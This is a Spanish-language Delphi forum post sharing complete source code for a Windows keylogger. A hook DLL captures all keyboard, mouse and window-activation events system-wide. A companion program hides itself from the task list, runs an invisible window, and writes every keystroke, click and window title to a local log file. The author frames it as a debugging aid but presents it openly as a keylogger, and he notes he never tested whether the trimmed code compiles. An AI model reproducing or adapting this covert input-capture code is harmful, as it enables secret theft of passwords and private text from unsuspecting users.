[delphi.com.ar]

Siempre quise evitar subir código de este tipo, aunque existan infinidades de ejemplos en la web, pero bueno.. ahí va:

Este keylogger lo hice para poder generar información de debug, según lo que hacía el usuario para su posterior debug, fue algo que salió demaciado rapidito, así que hay unas cuantas "chanchadas" en el código, tengo una aplicación que lee el archivo que genera y repite la acción, aunque creo que no funcionaba en forma completa.

Código Delphi [-]

{*******************************************************}
{                                                       }
{  Logger                                               }
{                                                       }
{  2001, Federico Firenze, Buenos Aires, Argentina      }
{                                                       }
{*******************************************************}

library HookDLL;

uses
  Windows,
  Messages;

const
  CM_WH_BASE = WM_USER + $1234;
  CM_WH_KEYBOARD = CM_WH_BASE;
  CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
  CM_WH_MOUSE = CM_WH_BASE + 2;

var
  whKeyboard,
  whWndProc,
  whMouse: HHook;
  MemFile: THandle;
  Reciever: ^Integer;

function KeyboardHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  if (code = HC_ACTION) then
  begin
    MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
    if (MemFile <> 0) then
    begin
      Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);
      PostMessage(Reciever^, CM_WH_KEYBOARD, wParam, lParam);
      UnmapViewOfFile(Reciever);
      CloseHandle(MemFile);
    end;
  end;

  Result := CallNextHookEx(whKeyboard, Code, wParam, lParam)
end;

function WndProcHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  cwps: CWPSTRUCT;
begin
  if (code = HC_ACTION) then
  begin
    MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
    if (MemFile <> 0) then
    begin
      Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);

      CopyMemory(@cwps, Pointer(lParam), SizeOf(CWPSTRUCT));
      case cwps.message of
        WM_ACTIVATE:
          PostMessage(Reciever^, CM_WH_WNDMESSAGE, cwps.hwnd, cwps.message);
      end;

      UnmapViewOfFile(Reciever);
      CloseHandle(MemFile);
    end;
  end;

  Result := CallNextHookEx(whWndProc, Code, wParam, lParam);
end;

function MouseHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  mhs: MOUSEHOOKSTRUCT;
begin
  if (code = HC_ACTION) and (wParam <> WM_MOUSEMOVE) then
  begin
    MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
    if (MemFile <> 0) then
    begin
      Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);

      CopyMemory(@mhs, Pointer(lParam), SizeOf(MOUSEHOOKSTRUCT));
      PostMessage(Reciever^, wParam, mhs.pt.X, mhs.pt.y);
      UnmapViewOfFile(Reciever);
      CloseHandle(MemFile);
    end;
  end;

  Result := CallNextHookEx(whMouse, Code, wParam, lParam)
end;


procedure StartHook; stdcall;
begin
  whKeyboard := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookCallBack, hInstance, 0);
  whWndProc := SetWindowsHookEx(WH_CALLWNDPROC, @WndProcHookCallBack, hInstance, 0);
  whMouse := SetWindowsHookEx(WH_MOUSE, @MouseHookCallBack, hInstance, 0);
end;

procedure EndHook; stdcall;
begin
  UnhookWindowsHookEx(whKeyboard);
  UnhookWindowsHookEx(whWndProc);
  UnhookWindowsHookEx(whMouse);
end;

exports
  StartHook name 'Start',
  EndHook name 'End';

begin
end.

Código Delphi [-]

{*******************************************************}
{                                                       }
{  Logger                                               }
{                                                       }
{  2001, Federico Firenze, Buenos Aires, Argentina      }
{                                                       }
{*******************************************************}

program KeyLogger;

uses
  Windows,
  Messages,
  SysUtils;

{.$DEFINE DEBUG}
{$DEFINE TICKET}

const
  DLLName = 'HookDLL.dll';
  CM_WH_BASE = WM_USER + $1234;
  CM_WH_KEYBOARD = CM_WH_BASE;
  CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
  BUFFER_SIZE = 100;

type
  TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
  THookProcedure = Procedure; stdcall;

procedure HideApp;
var
  hNdl: THandle;
  RegisterServiceProcess: TRegisterServiceProcess;
begin
  if Win32Platform = VER_PLATFORM_WIN32s Then
  begin
    hNdl := LoadLibrary(kernel32);
    try
      RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
      RegisterServiceProcess(GetCurrentProcessID, 1);
    finally
      FreeLibrary(hNdl);
    end;
  end;
end;

function WindowProc(hWnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
begin
 Result := 0;
 case uMsg of
   //WM_CLOSE:
   WM_DESTROY:
     Halt;
 else
   Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
 end;
end;

var
  hInst: LongWord;
  WinClass: TWndClass;
  Handle,
  hCurrentWnd: HWND;
  Msg: TMsg;
  DLLHandle,
  hLogFile,
  FileMap: THandle;
  StartHook,
  EndHook: THookProcedure;
  Reciever: ^Integer;
  PText: PByteArray;
  TextSize,
  BytesWritten: DWORD;
  S: string;
begin
 Try
   HideApp;
   hInst := hInstance;
   hCurrentWnd := 0;

   { Crea una ventana sin usar un TForm }
   with WinClass do
   begin
     Style              := CS_CLASSDC or CS_PARENTDC;
     lpfnWndProc        := nil;
     lpfnWndProc        := @WindowProc;
     hInstance          := hInst;
     hbrBackground      := COLOR_BTNFACE + 1; //or $80000000;
     lpszClassname      := 'Logger';
     hCursor            := LoadCursor(0, IDC_ARROW);
   end;
   if Windows.RegisterClass(WinClass) <> 0 then
   begin
     Handle := CreateWindowEx(WS_EX_WINDOWEDGE,
                              WinClass.lpszClassName, WinClass.lpszClassName,
                              {$IFDEF DEBUG}WS_VISIBLE+{$ENDIF}WS_OVERLAPPED,
                              0, 0, 0, 0, 0, 0, hInstance, nil);
     if Handle <> 0 Then
     begin
        DLLHandle := LoadLibrary(DLLName);
        if (DLLHandle <> 0) then
          try
            @StartHook := GetProcAddress(DLLHandle, 'Start');
            @EndHook := GetProcAddress(DLLHandle, 'End');
            if Assigned(StartHook) and Assigned(EndHook) then
            begin
              hLogFile := CreateFile('C:\MiArchivo.log', GENERIC_WRITE, FILE_SHARE_READ, Nil, OPEN_ALWAYS, 0, 0);
              if hLogFile <> 0 then
                try
                  SetFilePointer(hLogFile, 0, Nil, FILE_END);
                  FileMap := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(Integer), 'KeyReciever');
                  if (FileMap <> 0) then
                    try
                      Reciever := MapViewOfFile(FileMap, FILE_MAP_WRITE, 0, 0, 0);
                      Reciever^ := Handle;

                      GetMem(PText, BUFFER_SIZE);
                      try
                        StartHook;
                        try
                          while(GetMessage(Msg, Handle, 0, 0)) do
                          begin
                             case Msg.message  of
                               WM_DESTROY, WM_CLOSE:
                                 Break;
                               CM_WH_KEYBOARD:
                                 if ((Msg.lParam shr 31) and 1) <> 1 then
                                 begin
                                   if hCurrentWnd <> 0 then
                                   begin
                                     TextSize := GetWindowText(hCurrentWnd, Pointer(PText), BUFFER_SIZE);
                                     hCurrentWnd := 0;
                                     if TextSize > 0 then
                                     begin
                                       Move(PText[0], PText[3], TextSize);
                                       PText^[0] := 13;
                                       PText^[1] := 10;
                                       PText^[2] := 123;
                                       TextSize := TextSize + 6;
                                       PText^[TextSize-3] := 125;
                                       PText^[TextSize-2] := 13;
                                       PText^[TextSize-1] := 10;
                                       {$IFDEF DEBUG}
                                       SetWindowText(Handle, Pointer(PText));
                                       {$ENDIF}
                                       WriteFile(hLogFile, PText^, TextSize, BytesWritten, nil);
                                     end;
                                   end;

                                   if LoWord(Msg.wParam) = 13 then
                                   begin
                                     PText^[0] := 13;
                                     PText^[1] := 10;
                                     TextSize := 2;
                                   end else
                                   if LoWord(Msg.wParam) = 32 then
                                   begin
                                     PText^[0] := 32;
                                     TextSize := 1;
                                   end else
                                   begin
                                     TextSize := GetKeyNameText(Msg.LParam, Pointer(PText), BUFFER_SIZE);
                                     if TextSize > 1 then
                                     begin
                                       Move(PText[0], PText[1], TextSize);
                                       PText^[0] := 91;
                                       TextSize := TextSize + 2;
                                       PText^[TextSize-1] := 93;
                                     end;

                                     {$IFDEF DEBUG}
                                     PText^[TextSize] := 0;
                                     SetWindowText(Handle, Pointer(PText));
                                     {$ENDIF}
                                   end;
                                   WriteFile(hLogFile, PText^, TextSize, BytesWritten, nil);
                                 end;
                               CM_WH_WNDMESSAGE:
                               begin
                                 hCurrentWnd := Msg.wParam;
                               end;

                               WM_MOUSEMOVE,
                               WM_LBUTTONDOWN, WM_LBUTTONUP, WM_LBUTTONDBLCLK,
                               WM_RBUTTONDOWN, WM_RBUTTONUP, WM_RBUTTONDBLCLK,
                               WM_MBUTTONDOWN, WM_MBUTTONUP, WM_MBUTTONDBLCLK,
                               WM_MOUSEWHEEL:
                               begin
                                 {$IFDEF TICKET}
                                 S := '<' + DateTimeToStr(Now) + '>';
                                 WriteFile(hLogFile, S[1], Length(S), BytesWritten, nil);
                                 {$ENDIF}

                                 PText^[0] := Ord('<');
                                 case Msg.message of
                                   WM_MOUSEMOVE:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('M');
                                   end;
                                   WM_LBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_LBUTTONUP:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_LBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_RBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_RBUTTONUP:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_RBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_MBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_MBUTTONUP:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_MBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_MOUSEWHEEL:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('W');
                                   end;
                                 end;
                                 PText^[3] := Ord(';');
                                 S := IntToStr(Msg.lParam) + ';' + IntToStr(Msg.wParam) + '>';

                                 Move(S[1], PText[4], Length(S));

                                 WriteFile(hLogFile, PText^, 4 + Length(S), BytesWritten, nil);

                                 {$IFDEF TICKET}
                                 PText^[0] := 13;
                                 PText^[1] := 10;
                                 WriteFile(hLogFile, PText^, 2, BytesWritten, nil);
                                 {$ENDIF}
                               end;
                             end;

                             TranslateMessage(Msg);
                             DispatchMessage(Msg);
                          end;
                        finally
                          EndHook;
                        end;
                      finally
                        FreeMem(PText, BUFFER_SIZE);
                      end;
                    finally
                      UnmapViewOfFile(Reciever);
                      CloseHandle(FileMap);
                    end;
                finally
                  CloseHandle(hLogFile);
                end;
            end;
          finally
            FreeLibrary(DLLHandle);
          end;
     end;
   end;
 except
   {$IFDEF DEBUG}
   raise;
   {$ENDIF}
 end;
end.

Aclaro que borré algunas funciones innecesarias para el ejemplo y el llamado a otras units, sin probar si compila o no.
Por otro lado verán la forma ridícula de llenar la información en el PArray...

Saludos!